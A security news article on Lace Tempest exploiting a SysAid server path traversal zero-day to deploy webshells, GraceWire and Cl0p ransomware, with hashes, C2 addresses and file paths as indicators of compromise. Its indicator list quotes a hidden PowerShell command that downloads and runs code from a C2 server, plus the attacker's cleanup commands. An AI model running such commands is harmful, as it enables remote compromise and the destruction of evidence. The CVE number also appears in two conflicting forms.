MOVEit Hackers Turn to SysAid Servers Zero-Day Vulnerability

As previously reported, SysAid disclosed a zero-day issue affecting on-premises SysAid servers. The vulnerability was found to be a path traversal vulnerability and was given CVE-2023-47426.

Additionally, SysAid stated that there were reports of Lace Tempest exploiting the vulnerability in the wild.

Moreover, Microsoft Threat Intelligence Team analysis mentioned that the Lace Tempest threat actor has exploited this vulnerability to deploy Cl0p ransomware on affected systems.

This threat actor is the same who exploited MOVEit Transfer applications and GoAnywhere MFT extortion attacks.

Rapid7 Analysis

According to the reports shared with Cyber Security News, Rapid7 has been analyzing this vulnerability on SysAid servers. SysAid’s security advisory mentioned that the threat actor used this vulnerability to upload a WAR archive consisting of WebShell and other payloads. 

These were uploaded to the root of SysAid’s Tomcat web service as part of exploitation. It was also reported that the threat actors used three processes, spoolsv.exe, msiexec.exe, and svchost.exe, for exploitation purposes.

However, post-exploitation was done by deploying the MeshAgent remote administration tool and GraceWire malware on the affected devices.

SysAid claims to have 5000 customers and has been proactively communicating with them for mitigation steps. SysAid has also released patches to fix these vulnerabilities.

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Mitigation

CVE-2023-47246, which exists in SysAid On-premises servers, can be fixed in version 23.3.36. Customers of SysAid servers are recommended to apply the necessary patches as a priority to prevent threat actors from exploiting the weaknesses on the servers.

Indicators of Compromise

Hashes

Filename	Sha256	Comment
user.exe	b5acf14cdac40be590318dee95425d0746e85b1b7b1cbd14da66f21f2522bf4d	Malicious loader
Meshagent.exe	2035a69bc847dbad3b169cc74eb43fc9e6a0b6e50f0bbad068722943a71a4cca	Meshagent.exe remote admin tool

IP Addresses

IP	Comment
81.19.138[.]52	GraceWire Loader C2
45.182.189[.]100	GraceWire Loader C2
179.60.150[.]34	Cobalt Strike C2
45.155.37[.]105	Meshagent remote admin tool (C2)

File Paths

Path	Comment
C:\Program Files\SysAidServer\tomcat\webapps\usersfiles\user.exe	GraceWire
C:\Program Files\SysAidServer\tomcat\webapps\usersfiles.war	Archive of WebShells and tools used by the attacker
C:\Program Files\SysAidServer\tomcat\webapps\leave	Used as a flag for the attacker scripts during execution

Commands

CobaltStrike

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(‘http://179.60.150[.]34:80/a’)

Post-Compromise Cleanup

Remove-Item -Path “$tomcat_dir\webapps\usersfiles\leave”.

Remove-Item -Force “$wapps\usersfiles.war”.

Remove-Item -Force “$wapps\usersfiles\user.*”.

& “$wapps\usersfiles\user.exe”.

Antivirus Detections

Trojan:Win32/TurtleLoader

Backdoor:Win32/Clop

Ransom:Win32/Clop

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